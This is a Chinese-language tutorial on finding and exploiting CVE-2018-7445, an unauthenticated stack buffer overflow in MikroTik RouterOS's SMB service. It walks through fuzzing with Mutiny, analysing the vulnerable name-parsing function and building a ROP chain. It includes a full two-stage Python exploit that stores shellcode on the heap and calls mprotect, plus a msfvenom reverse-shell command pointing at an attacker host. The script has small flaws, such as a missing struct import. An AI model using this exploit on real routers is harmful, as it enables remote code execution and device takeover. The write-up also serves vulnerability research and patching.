寻找和利用CVE-2018-7445(MikroTik的RouterOS SMB中未经验证的RCE)
字数 1835 2025-08-29 08:32:00
MikroTik RouterOS SMB服务漏洞(CVE-2018-7445)分析与利用指南
漏洞概述
CVE-2018-7445是MikroTik RouterOS SMB服务中的一个堆栈缓冲区溢出漏洞,影响6.41.3/6.42rc27之前的所有RouterOS版本和架构。该漏洞存在于SMB服务二进制文件中,允许未经身份验证的远程攻击者执行任意代码。
关键特性
- 漏洞类型:堆栈缓冲区溢出
- 影响范围:所有架构的RouterOS 6.41.3/6.42rc27之前版本
- 认证要求:无需认证
- 服务状态:默认不启用
- 缓解措施:无堆栈保护(Stack Canaries),堆基地址不随机化
环境搭建
获取易受攻击的系统
- 从MikroTik官网下载Cloud Hosted Router版本的6.40.5虚拟机镜像
- 在VirtualBox或其他虚拟化平台上创建虚拟机
初始配置
- 默认凭据:用户名
admin,空密码 - 启用SMB服务:
ip smb set enabled=yes
获取完整shell访问
使用越狱工具获取完整系统访问权限:
- 克隆越狱工具仓库:
git clone https://github.com/0ki/mikrotik-tools - 运行越狱脚本:
cd mikrotik-tools/exploit-backup ./exploit_full.sh [目标IP]
调试环境准备
- 下载预编译的gdbserver:
wget https://github.com/rapid7/embedded-tools/raw/master/binaries/gdbserver/gdbserver.i686 - 通过FTP上传到设备
- 通过Telnet连接设备并附加到进程进行调试
漏洞发现过程
目标选择
选择SMB服务作为目标的原因:
- 提供丰富的功能集
- 默认不启用,可能被其他研究者忽略
- 无需认证即可访问部分功能
模糊测试方法
使用Cisco Talos的Mutiny Fuzzer工具进行基于突变的模糊测试:
-
捕获合法流量:
- 使用Wireshark捕获正常的SMB协商协议请求
- 导出请求数据包为PCAP格式
-
准备模糊模板:
- 使用
mutiny_prep.py创建.fuzzer文件 - 编辑模板减少方言数量以产生更有意义的变异
- 使用
-
运行模糊测试:
./mutiny.py -s 0.5 -logAll negotiate_protocol_request-0.fuzzer [目标IP]
- 使用Wireshark监控流量
- 观察SMB进程的输出和崩溃
4. **分析崩溃**:
- 检查`/rw/logs/backtrace.log`中的堆栈跟踪
- 确认崩溃可重现
## 漏洞分析
### 崩溃重现
构造简单的Python脚本发送恶意数据包:
```python
import socket
payload = "\x81\x00\x00\xfa" + "A"*0xfa
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("[目标IP]", 445))
s.send(payload)
s.close()
漏洞定位
-
使用GDB附加到SMB进程:
gdbserver :1234 /nova/bin/smb -
在主机上连接调试会话:
gdb target remote [目标IP]:1234 -
关键发现:
- 崩溃发生在处理NetBIOS会话请求(类型0x81)时
- 漏洞函数位于
0x8054607 - 无堆栈保护机制
漏洞函数分析
易受攻击的函数伪代码:
int parse_names(char *dst, char *src) {
int len;
int i;
int offset;
len = *src;
offset = 0;
while (len) {
for (i = offset; (i - offset) < len; ++i) {
dst[i] = src[i+1];
}
len = src[i+1];
if (len) {
dst[i] = '.';
offset = i + 1;
}
}
dst[offset] = 0;
return offset;
}
漏洞成因:
- 函数解析格式为
SIZE1-BUF1.SIZE2-BUF2.SIZE3-BUF3...的输入 - 无边界检查,导致堆栈缓冲区溢出
- 攻击者可控制复制的长度和内容
漏洞利用开发
利用条件
- 无ASLR:代码段地址固定
- 无Stack Canaries:可直接覆盖返回地址
- 堆基地址固定:0x8072000
- NX保护:需要将堆标记为可执行
利用步骤
-
控制EIP:
- 确定覆盖返回地址的偏移量
- 使用PEDA的pattern工具精确定位:
pattern create 256 pattern offset [EIP值]
-
构建ROP链:
目标:调用mprotect(0x8072000, 0x14000, PROT_READ|PROT_WRITE|PROT_EXEC)使用ropper查找gadgets:
ropper --file smb --search "pop ebx" ropper --file smb --search "pop ecx" ropper --file smb --search "pop edx" ropper --file smb --search "pop eax" ropper --file smb --search "int 0x80"示例ROP链:
- 设置EBX=0x8072000 (堆基地址)
- 设置ECX=0x14000 (大小)
- 设置EDX=7 (RWX权限)
- 设置EAX=0x7d (mprotect系统调用号)
- 调用
int 0x80
-
存储shellcode:
- 发送协商协议请求(类型0x00)包含shellcode
- shellcode存储在堆中固定地址0x8085074
- 后续请求会部分覆盖,因此使用NOP sled
-
触发漏洞:
- 发送精心构造的NetBIOS会话请求(类型0x81)
- 覆盖返回地址指向ROP链
- ROP链将堆标记为可执行并跳转到shellcode
完整利用代码
import socket
# 第一阶段:存储shellcode
shellcode = "\x90"*200 + "\xcc"*100 # 测试用INT3
# 实际使用msfvenom生成的反向shell:
# msfvenom -p linux/x86/shell_reverse_tcp LHOST=攻击者IP LPORT=4444 -f python
s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s1.connect(("[目标IP]", 445))
s1.send("\x00\x00\x03\xe8" + shellcode.ljust(0x3e8, "\x90"))
s1.close()
# 第二阶段:触发漏洞并执行ROP
rop_chain = [
0x0804c39d, # pop ebx; pop ebp; ret
0x8072000, # ebx = heap base
0x41414141, # dummy ebp
0x080664f5, # pop ecx; pop ebx; ret
0x14000, # ecx = size
0x41414141, # dummy ebx
0x08066f24, # pop edx; ret
0x7, # edx = PROT_READ|PROT_WRITE|PROT_EXEC
0x804f94a, # xchg eax, ebp; ret
0x804c39e, # pop ebp; ret
0x7d, # ebp = mprotect syscall number
0x804f94a, # xchg eax, ebp; ret
0xf7ffd000 + 0x0006e843, # __kernel_vsyscall (int 0x80)
0x8085270 # jump to shellcode (0x8085074 + 512)
]
payload = "\x81\x00\x00\xfa"
payload += "A"*230 # padding
payload += "".join([struct.pack("<I", addr) for addr in rop_chain])
payload += "C"*(0xfa - len(payload)) # fill remaining
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2.connect(("[目标IP]", 445))
s2.send(payload)
s2.close()
缓解措施
MikroTik在6.41.3版本中修复了该漏洞,改进包括:
- 更好的NetBIOS名称处理
- 增强服务稳定性
建议用户:
- 升级到最新版本RouterOS
- 如不需要,禁用SMB服务
- 限制SMB服务的网络访问
总结
CVE-2018-7445展示了即使使用简单的模糊测试方法也能在复杂网络服务中发现严重漏洞。该漏洞利用的关键点包括:
- 通过模糊测试发现崩溃
- 分析崩溃上下文确定漏洞位置
- 利用固定的内存布局绕过ASLR
- 构建ROP链修改内存权限
- 分阶段投放和执行shellcode
此案例也突显了现代漏洞缓解机制(如ASLR、Stack Canaries)的重要性,以及它们在嵌入式设备中常常缺失的问题。